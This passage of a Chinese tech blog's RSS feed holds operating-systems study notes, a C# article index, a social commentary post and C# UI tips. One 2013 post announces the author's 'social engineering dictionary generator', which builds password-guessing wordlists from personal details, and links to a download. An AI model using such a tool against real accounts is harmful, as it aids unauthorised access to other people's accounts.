&lt;p&gt;具有标准接口的驱动程序的工作方式如下：对于每一种设备类型，例如磁盘和打印机。操作系统定义一组驱动程序必须支持的函数，对于磁盘而言，这些函数自然的包含读和写，除此之外还包含开启和关闭电源，格式化以及其他与磁盘有关的事情。驱动程序通常包含一张表格，这张表格具有针对这些函数指向驱动程序自身的指针。当驱动程序装载时，操作系统记录下这张函数指针表的地址。所以当操作系统需要调用一个函数时，可以通过表格发出间接调用。这张函数指针表定义了驱动程序与操作系统其他部分之间的接口。&lt;/p&gt;
&lt;p&gt;**双缓冲：**当第二个缓冲区正在复制用户空间的时候，第一个缓冲区用来接收新的字符。以这样的方法。两个缓冲区轮流使用。称为双缓冲。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;磁盘臂调度算法：&lt;/strong&gt;
读/写一个磁盘块需要时间：1.寻道时间（将磁盘臂移动到适当的柱面上所需的时间）2.旋转延迟（等待适当扇区旋转到磁头下所需的时间）。3.实际数据传输时间。&lt;/p&gt;
&lt;p&gt;一个磁盘子系统具有如下特性：当一个写命令发给它时，磁盘要么正确地写数据，要么什么也不做，让现有的数据完整无缺的留下，这样的系统称为稳定存储器，并且是在软件中实现的。目标是不惜一切代价保持磁盘的一致性。&lt;/p&gt;
&lt;p&gt;**时钟：**两种。1种是直接接到电源线上。就可以每个电压周期产生一个终端。现在比较少。另一种是由晶体振荡器，计数器和存储寄存器三个构成。当把一块石英晶体适当的切割并且安装到一定的压力之下时就可以产生非常精确的周期性信号。时钟启动时，存储寄存器的值被复制到计数器中，每一个脉冲使计数器-1，直到为0，产生中断。&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统中的文件系统</title>
      <link>http://blog.leaver.me/2013/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/</link>
      <pubDate>Thu, 31 Jan 2013 15:00:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;文件系统&lt;/strong&gt;
进程，地址空间，文件这些抽象概念均是操作系统中的重要概念，如果理解了这三个概念，就迈上了成为一个操作系统专家的道路。
文件系统存放在磁盘上，多数磁盘划分为一个/多个分区，每个分区有一个独立的文件系统，磁盘的0号扇区称为主引导记录，也就是MBR，用来引导计算机，MBR的结尾就是分区表了。该表给出了每个分区的起始和结束地址。表中的一个分区被标记为活动分区。在计算机被引导时，BIOS读入并执行MBR，MBR做的第一件事就是确定活动分区，读入他的第一个块，称为引导块，并执行之，引导块中的程度将装载该分区中的操作系统，为统一起见，每个分区都从一个启动块开始，即使它不含有一个可以启动的操作系统。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32257_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2e6edaf72b3ff2b35c5e98e4a1538ae14d74d858.png&#34;&gt;&lt;/a&gt;
&lt;strong&gt;文件的实现：&lt;/strong&gt;
1.连续分配，每个文件作为一连串连续数据存储在磁盘上。实现简单，读操作性能好，一次就可以了。但不足是删除之后不能移动，因为成本太高，使得空块增多。碎片化严重。更诡异的是对于文件编辑软件，实现无法准确预测大小，如果预测错了。。就跪了。
//研究那些具有清晰和简洁概念的老式系统和思想是很重要的，因为他们可能以一种令人吃惊的方式在未来系统中获得应用。&lt;/p&gt;
&lt;p&gt;2.链表分配
为每个文件构造磁盘块链表，一个文件分为N个文件块，N个文件块构成一个链表，存储在物理上的多个地方。顺序读取很方便，但随机读取则相当缓慢，由于指针的存在，每个磁盘块存储数据的字节不再是2的整数次幂，导致系统运行效率降低，因为很多程序都是以2的整数次幂来读写磁盘的。&lt;/p&gt;
&lt;p&gt;3.在内存中采用表的链表分配
去除每个文件块在磁盘上的指针字，放入内存的一个表上，就可以解决上一个分配的不足。直观的例子如图。
文件A使用了磁盘块4，7，2，10，12&lt;/p&gt;
&lt;p&gt;内存中这样的表格称为文件分配表，也就是FAT了。主要缺点是对于大磁盘的小块，这种表需要的内存占用太大。。不太适用。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32256_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b3afb8b5bedaaa50b38292cd6eb90a388d5081d1.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;4.i节点
记录各个文件包含哪些磁盘块的方法是给每个文件赋予一个称为i节点的数据结构,其中类除了文件属性和文件块的磁盘地址.相对于在内存中采用表的方式,这种机制的优势在于只有对应文件打开时,其i节点才进入内存.&lt;/p&gt;
&lt;p&gt;文件系统的一致性检查分为两种:块的一致性检查和文件的一致性检查.构造两张表,一张跟踪块在文件中的出现次数,另一张跟踪该块在空闲表中的出现次数,如果一致,则某一块必然在两个表中1/2中为1,如果某一块没有出现在任何一张表中,则称为块丢失,浪费了磁盘空间.解决方法是让文件系统检验程序把他们加入到空闲表中
如果在空闲表中出现了两次.则重新建议建议空闲表即可.
如果在文件表中出现了两次.则比较麻烦.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文件系统性能&lt;/strong&gt;
1.高速缓存,最常用,指的是一系列的块,逻辑上属于磁盘.但实际上被保存在内存上.基本算法是检查全部的读请求,查看在高速缓存中是否有所需要的块,如果存在,就读,否则读入高速缓存在复制到其他地方.
2.块提前读,在需要用到块之前,试图提前将其写入高速缓存,从而提高命中率.比如某个文件有n个块,则请求k块的时候,则同时预读k+1块.只适用于顺序读取的文件,对随机读取文件,则没有效果/反效果.
3.减少磁盘臂运动
把所有可能顺序读取的块放在一起,当然最好是放在同一个柱面上,从而减少磁盘臂的移动次数.&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统中的页面置换算法</title>
      <link>http://blog.leaver.me/2013/01/30/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E9%A1%B5%E9%9D%A2%E7%BD%AE%E6%8D%A2%E7%AE%97%E6%B3%95/</link>
      <pubDate>Wed, 30 Jan 2013 09:18:05 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/30/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E9%A1%B5%E9%9D%A2%E7%BD%AE%E6%8D%A2%E7%AE%97%E6%B3%95/</guid>
      <description>&lt;div&gt;最近读完了《现代操作系统》。页面置换算法的读书笔记。其他的笔记慢慢整理一下在博客做个备份。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;虚拟内存的基本思想：每个程序都拥有自己的内存空间，这个空间被分割成很多块，每一块称为一页/页面，每一页有连续的地址范围，这些页被映射到物理内。&lt;/div&gt;
页面置换算法
1.最优页面置换算法，每个页面都可以用在该页面首次被访问前所需要执行的指令数作为标记。因此我们选择标记最大的页面，也就是把不愉快的事情往后拖延。但是，唯一的问题是无法实现。
2.最近未使用页面置换算法。系统每一个页面设置两个状态位，当页面被访问时设置R位，当被修改时设置M位，包含在页表项中，初始时，都被设置0，R被定期地清零，以区别最近没有被访问和被访问的页面。NRU算法随机的从类编号最小的非空类中挑选一个页面淘汰之，
根据R和W可以将页面分为4类
0没有被访问，没有被修改/1没有被访问，被修改/2已被访问，没有被修改/3已被访问，已被修改。第一类只有在定期清R的时候才会出现。
隐含的意思是，淘汰一个没有被访问的已修改页面要比淘汰一个被频繁使用的干净页面要好。
3.先进先出置换，找出最先进入的替换掉，很少单独使用
4.第二次机会页面置换算法。FIFO可能将经常使用的页面置换出来。为此，检查最老页面的r位，如果R为0，则既老又没有被使用，则就置换掉，如果是1，就清0，放在链表尾，修改装入时间为最新。继续搜索。
5.时钟页面置换算法，第二次机会算法经常要在链表中移动页面，更好的方法是将页面保存在一个类似钟面的环形链表中，表针指向最老的页面。发生缺页时，如果R是0就
淘汰该页面，并插入新页面，然后表针前移，如果是1，就清除R并前移，直到找到一个R位为0的页面。这也是时钟的由来
[![](/images/e198f5889716b00f06a452789f0c413474927e87.jpg)](http://leaverimage.b0.upaiyun.com/32235_o.jpg)
6.最近最少使用页面置换算法。在发生缺页时，置换未使用时间最长的页面，这个策略称为LRU，最简单的一个实现策略是有一个64位计数器，每条指令执行完加1.每个页表项必须有一个足够容纳这个计数器值的域，每次访问内存后，将C值保存到被访问页面的页表项，一旦中断，检查所有页面项的计数器值，找到最小的即可。
7.NFU最不常用算法，是LRU的软件模拟实现。每个页面与一个软件计数器管理。初值为0，每次时钟中断时，操作系统扫描内存中的所有页面，将每个页面中的R位值加到他的计数器上，计数器的值即为访问的频繁程度。该算法的问题是记住的事情太多，如果第一次执行扫描的时间最长。比如第一次某个页面的值很大。这个很大的值会影响到下一次扫描，结果操作系统将置换有用的页面而不是不再使用的页面。
8.修改一下NFU：R位被加进之前，将计数器右移一位，同时将R加到计数器的左端。即为老化算法
9.工作集页面置换算法。一个进程当前正在使用的页面的集合称作他的工作集。基本思路是找出一个不在工作集中的页面并淘汰它。
10.工作集时钟页面置换算法。基于时钟算法，并且使用了工作集信息。
&lt;p&gt;页面调度算法总结；
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32236_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8aeb6656133389828c802b546823152810700003.jpg&#34;&gt;&lt;/a&gt;
最好的两种算法是老化算法和工作集时钟算法，分别基于LRU和工作集。具有良好的页面调度性能。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 基础知识系列文章索引</title>
      <link>http://blog.leaver.me/2013/01/27/c%23-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E7%B3%BB%E5%88%97%E6%96%87%E7%AB%A0%E7%B4%A2%E5%BC%95/</link>
      <pubDate>Sun, 27 Jan 2013 20:50:08 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/27/c%23-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E7%B3%BB%E5%88%97%E6%96%87%E7%AB%A0%E7%B4%A2%E5%BC%95/</guid>
      <description>&lt;p&gt;清理GR的加星标项目。分享来自博客园 &lt;a href=&#34;http://www.cnblogs.com/zhili&#34;&gt;zhili&lt;/a&gt; 的C#基础系列文章。&lt;/p&gt;
&lt;p&gt;C#基础知识系列终于告了一个段落了, 本系列中主要和大家介绍了C#1.0到C# 4.0中一些重要的特性，刚开始写这个专题的初衷主要是我觉得掌握了C#这些基础知识之后，对于其他任何的一门语言都是差不多的，这样可以提高朋友们对其他语言的掌握，以及可以让大家更加迅速地掌握.NET的新特性， 并且相信这个系列对于找工作的朋友也是很有帮助的，因为很多公司面试都很看重基础知识是否扎实，是否对C#有一个全面的认识和理解，所以很多公司面试都会问到一些C#基础概念的问题，例如，经常面试会问：你是如何理解委托的，如何理解匿名函数等问题。&lt;/p&gt;
&lt;p&gt;然而这个系列中并没有介绍COM互操作性的内容以及.Net 4.5中的一些新特性，所以后面将会对这两个方面的内容进行补充，由于这个系列托的太久了(大概也有3个月吧)，所以就先告一段落的，后面将会带来.NET互操作性系列的介绍。下面就为这个系列文章做一个索引，方便大家收藏和查找。&lt;/p&gt;
&lt;p&gt;C#基础知识系列索引&lt;/p&gt;
&lt;p&gt;C#1.0&lt;/p&gt;
&lt;p&gt;1. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/22/Delegate.html&#34;&gt;深入解析委托——C#中为什么要引入委托&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/25/DeepDelegate.html&#34;&gt;委托本质论&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;3. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/27/MulticastDelegate.html&#34;&gt;如何用委托包装多个方法——委托链&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;4. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/27/Event.html&#34;&gt;事件揭秘&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/29/ButtonClickEvent.html&#34;&gt;当点击按钮时触发Click事件背后发生的事情&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;C# 2.0&lt;/p&gt;
&lt;p&gt;6. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/03/GenericType.html&#34;&gt;泛型基础篇——为什么引入泛型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;7. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/08/Generic_1.html&#34;&gt;泛型深入理解(一)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;8. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/08/Generic_2.html&#34;&gt;泛型深入理解(二)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;9. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/12/GenericVari.html&#34;&gt;深入理解泛型可变性&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;10. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/23/Nullable.html&#34;&gt;全面解析可空类型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;11. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/01/anonymousmethod.html&#34;&gt;匿名方法解析&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;12. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/02/Interator.html&#34;&gt;迭代器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;C# 3.0&lt;/p&gt;
&lt;p&gt;13. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/11/basicfeatures.html&#34;&gt;全面解析对象集合初始化器、匿名类型和隐式类型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;14. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/12/LambdaExpression.html&#34;&gt;深入理解Lambda表达式&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;15. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/17/ExtensionMethod.html&#34;&gt;全面解析扩展方法&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;16. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/24/Linq.html&#34;&gt;Linq介绍&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;C# 4.0&lt;/p&gt;
&lt;p&gt;17. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2013/01/07/DynamicType.html&#34;&gt;深入理解动态类型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;从C#的所有特性可以看出,C#中提出的每个新特性都是建立在原来特性的基础上,并且是对原来特性的一个改进, 做这么多的改进主要是为了方便开发人员更好地使用C#来编写程序,是让我们写更少的代码来实现我们的程序,把一些额外的工作交给编译器去帮我们做,也就是很多人说微软很喜欢搞语法糖的意思(语法糖即让编译器帮我们做一些额外的事情，减少开发人员所考虑的事情，使开发人员放更多的精力放在系统的业务逻辑上面。)，大家从C# 3中提出的特性中可以很好的看出这点(指的是玩语法糖)，C#3中几乎大部分特性都是C#提供的语法糖，从CLR层面来说(指的是增加新的IL指令)，C# 3并没有更新什么，C# 4中提出的动态类型又是建立在表达式树的基础上，包括Linq也是建立在表达式树的基础上，所以每个特性都是层层递进的一个关系。相信C#后面提出的新特性将会更加方便我们开发程序，感觉所有语言的一个统一的思想都是——写更少的代码，却可以做更多的事情。但是我们不能仅仅停住于知道怎么使用它，我们还应该深入研究它的背后的故事，知道新特性是如何实现的和原理。用一句说就是——我们要知其然之气所以然，学习知识应该抱着刨根问底的态度去学习,&lt;strong&gt;相信这样的学习方式也可以让大家不感到心虚,写出的程序将会更加自信。&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>现代操作系统的调度</title>
      <link>http://blog.leaver.me/2013/01/24/%E7%8E%B0%E4%BB%A3%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%B0%83%E5%BA%A6/</link>
      <pubDate>Thu, 24 Jan 2013 14:08:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/24/%E7%8E%B0%E4%BB%A3%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%B0%83%E5%BA%A6/</guid>
      <description>&lt;p&gt;这几天在读《现代操作系统》，想起当时学这门课的时候，并没有感觉那么爽，现在通读这本书，知识的过渡性和结构性令我叹服。感受操作系统的魅力吧。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;批处理系统中的调度：&lt;/strong&gt;
1.先来先服务&lt;/p&gt;
&lt;p&gt;2.最短作业优先
只有在所有的作业都可以同时运行(也即同时到达)的情况下，最短作业优先算法才是最优化的。&lt;/p&gt;
&lt;p&gt;3.最短剩余时间优先-最短作业优先的抢占式版本。调度算法总是选择剩余时间最短的那个进程运行，注意，运行时间必须提前掌握，当一个新的作业到达时，其整个时间同当前进程的剩余时间做比较，如果更少。就运行新进程。可以使新的短作业获得良好的服务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;交互式系统的调度&lt;/strong&gt;
1.轮转调度。
最古老，最简单，最公平切使用最广，每个进程被分配一个时间片。如果进程在时间片结束之前阻塞或结束，则CPU立即切换。调度程序只是维护一张可运行进程列表，当进程用完它的时间片后，就被移到队列的末尾。时间片太短会导致进程切换过多，降低CPU效率，设置的太长又引起对短的交互请求的响应时间变长。通常20-50ms算合理。&lt;/p&gt;
&lt;p&gt;2.优先级调度
为了防止高优先级进程无休止的运行下去，可以在一个时钟中断里降低当前进程的优先级，如果这导致该进程的优先级低于次高优先级的进程，则切换或者也可以赋予每个进程一个时间片。可以和轮转调度一起工作，设置每个优先级上有多个进程。优先运行高优先级，并未高优先级上的进程按照轮转换着运行，如果高优先级没了。就进入到较低优先级。。。问题是如果不偶尔对优先级进行调整，则可能发生饥饿现象。&lt;/p&gt;
&lt;p&gt;3.多级队列
CTSS的设计者发现为CPU密集型进程设置较长的时间片比频繁的分给他们很短的时间片更为高效（减少了交换次数），但长时间的进程又会影响响应时间，方法是设立优先级类，最高优先级类里的进程运行1个时间片。次高运行2个。以此类推。当一个进程用完分配的时间片后，被移动到下一类。大致算法都是用于讨好交互用户和进程，而不惜牺牲后台进程
//故事：可以采用只要终端上有Enter键按下，就将该终端上的进程移到最高优先级类。假设当前进程急需交互，但是。一个人发现了。大家都开始用。。。理论和实际差异太大。。哈哈&lt;/p&gt;
&lt;p&gt;4.最短进程优先
这个很好立即，但难点在于如何找出最短的那个。一种方法是根据过去的行为推测。假设每个命令执行时间为T0，下一次运行时间为T1，则可以根据aT0+(1-a)T1来估计时间。。a被用来决定尽快忘掉老的运行时间还是记住它。这种算法成为老化算法。通常选a=1/2&lt;/p&gt;
&lt;p&gt;5.保证调度
就是保证每个用户获得cpu的1/n，系统需要跟踪进程的cpu时间，他实际获得如果多于应该获得的。则转向实际获得小于应该获得的。&lt;/p&gt;
&lt;p&gt;6.彩票调度
保证调度很难实现，而彩票调度算法是向进程提供各种系统资源的彩票。一旦需要做出一项调度决策时，就随机抽出一张彩票。谁获得谁就上。比如视频服务器，可以为不同的帧速率提供不同的彩票。然后分配cpu&lt;/p&gt;
&lt;p&gt;7.公平分享调度
这个就考虑到了进程的所有者。需要我们定义公平的含义。是保证每个用户只占用的时间相等还是其他了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实时系统的调度：&lt;/strong&gt;
可以分为硬实时和软实时，前者必须满足绝对的截止时间，后者则可以容忍一些。用户级线程系统是不知道的。用户级和内核级的差异主要在性能，用户级需少量的机器指令，而内核级需要很多的。过程。采用轮转和优先级调度更常见一些。&lt;/p&gt;
&lt;p&gt;//操作系统的大神们太强大了。哲学家进餐问题居然可以通过拿起左边叉子以后，检测右边是否可用，如果不可用，则等待一个随机的时间。这种方案是可行的。在极少的情况下不可用。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>不要变成你讨厌的人，面目可憎</title>
      <link>http://blog.leaver.me/2013/01/23/%E4%B8%8D%E8%A6%81%E5%8F%98%E6%88%90%E4%BD%A0%E8%AE%A8%E5%8E%8C%E7%9A%84%E4%BA%BA%E9%9D%A2%E7%9B%AE%E5%8F%AF%E6%86%8E/</link>
      <pubDate>Wed, 23 Jan 2013 16:37:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/23/%E4%B8%8D%E8%A6%81%E5%8F%98%E6%88%90%E4%BD%A0%E8%AE%A8%E5%8E%8C%E7%9A%84%E4%BA%BA%E9%9D%A2%E7%9B%AE%E5%8F%AF%E6%86%8E/</guid>
      <description>&lt;p&gt;本文来自&lt;a href=&#34;http://www.xjp.cc/2013-log/01/5379.html&#34;&gt;xjp的碎碎念&lt;/a&gt;，我很喜欢的一个博主。博客已被伟大的GFW屏蔽。和文章的主题类似，我有时候会在G+上会纠正一些人的谣言，并且给出澄清，可是，往往效果不大。我的态度很简单，你要反对一样东西，请你不要是那样的东西。或用那样的东西去反对。不要为任何主义所迷惑，你要做好一个人。&lt;/p&gt;
&lt;p&gt;今天看到一篇来自《新京报》的报道，称时事评论员&lt;a href=&#34;http://weiba.weibo.com/10015/t/zfCUGgdhj&#34;&gt;@周筱赟爆料&lt;/a&gt;称，根据铁道部的两份采购合同显示，推测铁道部12306订票网站实际投入已经超过5亿元，而不是之前曾披露的3.2亿元。&lt;/p&gt;
&lt;p&gt;首先我很赞同周筱赟所做的事情，在国内目前民众获取信息渠道有限的情况下，有这样的热心人士去披露政府部门行政行为中值得讨论的部分，对于整个社会的公正与透明都有极大的推动作用。&lt;/p&gt;
&lt;p&gt;但我注意的是另一群人，他们典型的回复是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1、花5个多亿做成这么垃圾的网站，铁道部公然贪污多少钱？臭不要脸的！二逼的网站和系统归功于傻逼造就！&lt;/p&gt;
&lt;p&gt;2、卧槽，里面有4.5亿是贪污款吧&lt;/p&gt;
&lt;p&gt;3、习总说反腐，最大的蛀虫在这里，敢反否？&lt;/p&gt;
&lt;p&gt;4、3亿建站为什么这些年一直没有工商部去追查12306的贪污问题。你懂我懂大家懂。&lt;/p&gt;
&lt;p&gt;5、中央纪委、监察部和各级纪检监察机关要加大检查监督力度，执好纪、问好责、把好关。&lt;/p&gt;
&lt;p&gt;6、太极集团是做医药的呀，怎么也搞起软件来了。我想说，有没经验都不要紧，要紧的是有钱。咱就撒都能做！&lt;/p&gt;
&lt;p&gt;7、五亿······· 用了个500的模版 月薪5000水平的制作团队&lt;/p&gt;
&lt;p&gt;8、三億各單位部門宣傳費，一億三公支出，五千萬采購合同草擬費用，四千萬給媒體掩口費, 九百九十萬信息產業部備案費用，最後十萬才是網站制作費用… 這五億基本上都使對了地方，沒有錯啊!
其它的评论都是诸如此类，某一些理性的评论都被深埋其中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我不是铁道部、太极的任何一方，我不能拍着胸脯说这些问题一定不存在，但真正让我恐惧的是，有大量网友没有认真去研究文章的内容与事实，只是单纯下意识地做出了判断，然后开喷。&lt;/p&gt;
&lt;p&gt;我们仔细去看我们讨厌的那些五毛与政府宣传部门，他们的日常做法都是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1、戴帽子&lt;/p&gt;
&lt;p&gt;2、站在道德高度，说正确的废话&lt;/p&gt;
&lt;p&gt;3、自说自话，完全不管别人在说什么&lt;/p&gt;
&lt;p&gt;4、预设立场&lt;/p&gt;
&lt;p&gt;5、我永远是对的，反对我的都是错的&lt;/p&gt;
&lt;p&gt;6、你们站在人民的对立面
然后有一个微博网友在评论里跟我说，他只需要一万元就能够搞定12306的网站外包开发。听到这样的话，我不由地一阵颤抖，如果这话来自一名所谓的业内人士，那我真的不知道应该怎么说了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用某网友的评论：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;从专业角度来说，投入不算多，只是透明度不够，民众才疑惑！全国各地还需要再多些大型机房，才能满足高峰期分流排队和并发操作！
我的看法是，不否认铁道部的开发、架构设计存在一定问题，如果没有实际的大型系统设计经验的团队，可能会造成很多理论与实际脱节问题，事实上今年的12306已经比去年好太多了，他们也在吸取教训。当然，我也赞成他们向互联网公司取经，吸收现有经验。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;建议大家不要单纯喷，5亿这个数字可能略高，但比起数千万的静态网站好多了，至于具体审计是国家审计局的事情，我支持惩处贪腐。做一个覆盖数千万用户，承受刷票插件5秒一次的并发，服务器、带宽、配套都是成本。而售票数字化几乎是必经之路，铁道部走出这一步是好的，买不到票有基础运力的问题，跟网络售票无关。&lt;/p&gt;
&lt;p&gt;不要一叶障目，买不到票人人都会烦心，诚然铁道部是一个不错的发泄口，但如果只是为了喷而喷。借用我之前的一句话，铁道部如何做你们才满意？&lt;/p&gt;</description>
    </item>
    <item>
      <title>社工字典生成工具</title>
      <link>http://blog.leaver.me/2013/01/21/%E7%A4%BE%E5%B7%A5%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Mon, 21 Jan 2013 08:23:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/21/%E7%A4%BE%E5%B7%A5%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;在家无聊写了这个工具，主要是为了防止自己这一直写随笔把本行忘了。。也熟悉一下代码。。暂时不放源代码了。以后改的好一点再发吧。&lt;/p&gt;
&lt;p&gt;作者：bystander&lt;/p&gt;
&lt;p&gt;博客：http://leaver.me&lt;/p&gt;
&lt;p&gt;转载请注明出处！&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31971_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a46e1099507677947d020ad1fc0251a2fe9fca27.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31972_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/674f4d21632e17d90688202f0e06717fbeba54c8.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涉及到的东西有：&lt;/p&gt;
&lt;p&gt;1.C#隐藏TabControl的header部分，前面的文章有介绍&lt;/p&gt;
&lt;p&gt;2.获取窗体全部的某一类控件（这个无聊的话抽象出一个通用的方法出来，以后就可以直接用了）&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  /// &amp;lt;summary&amp;gt;
        /// 获取所有的文本框控件
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&#34;control&#34;&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
        private List&amp;lt;TextBox&amp;gt; GetAllControls(Control control)
        {
            foreach (Control con in control.Controls)
            {
                if (con.Controls.Count &amp;gt; 0)
                {
                    GetAllControls(con);
                }
                else if (con is TextBox)
                {
                    tBoxList.Add(con as TextBox);
                }
            }
            return tBoxList;
        }&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3.文件操作&lt;/p&gt;
&lt;p&gt;4.字符串操作&lt;/p&gt;
&lt;p&gt;反正很简单，主要就是写的时候思路要清晰。知道大部分使用密码的规则。处理一下生日格式。否则后面很麻烦。。相应的验证也比较少。界面依然毫无美感。。&lt;/p&gt;
&lt;p&gt;总结：&lt;/p&gt;
&lt;p&gt;现在发现在控件命名上越来越顺利了。自我感觉良好。后面慢慢的要开始尝试使用学到的一些新的技术点。。&lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=244748&amp;amp;uk=1493685990&#34;&gt;社工字典生成工具&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#隐藏TabControl标签栏</title>
      <link>http://blog.leaver.me/2013/01/11/c%23%E9%9A%90%E8%97%8Ftabcontrol%E6%A0%87%E7%AD%BE%E6%A0%8F/</link>
      <pubDate>Fri, 11 Jan 2013 21:31:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/11/c%23%E9%9A%90%E8%97%8Ftabcontrol%E6%A0%87%E7%AD%BE%E6%A0%8F/</guid>
      <description>&lt;p&gt;今天考过了微软的那个70-562和70-536的考试。然后下午把软件体系结构的作业做了。然后看了一下栈溢出，我博客首页右侧的那个就是我的栈溢出id了。。&lt;/p&gt;
&lt;p&gt;然后就看到了这个问题。这个问题。我曾经遇到过。貌似大家知道比较多的是两种。第一种就是设置大小。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;tabControl1.SizeMode = TabSizeMode.Fixed;
tabControl1.ItemSize = new Size(0, 1);&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31378_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3070c473ca2d01dd23741af3e13d2f4328b9d89d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
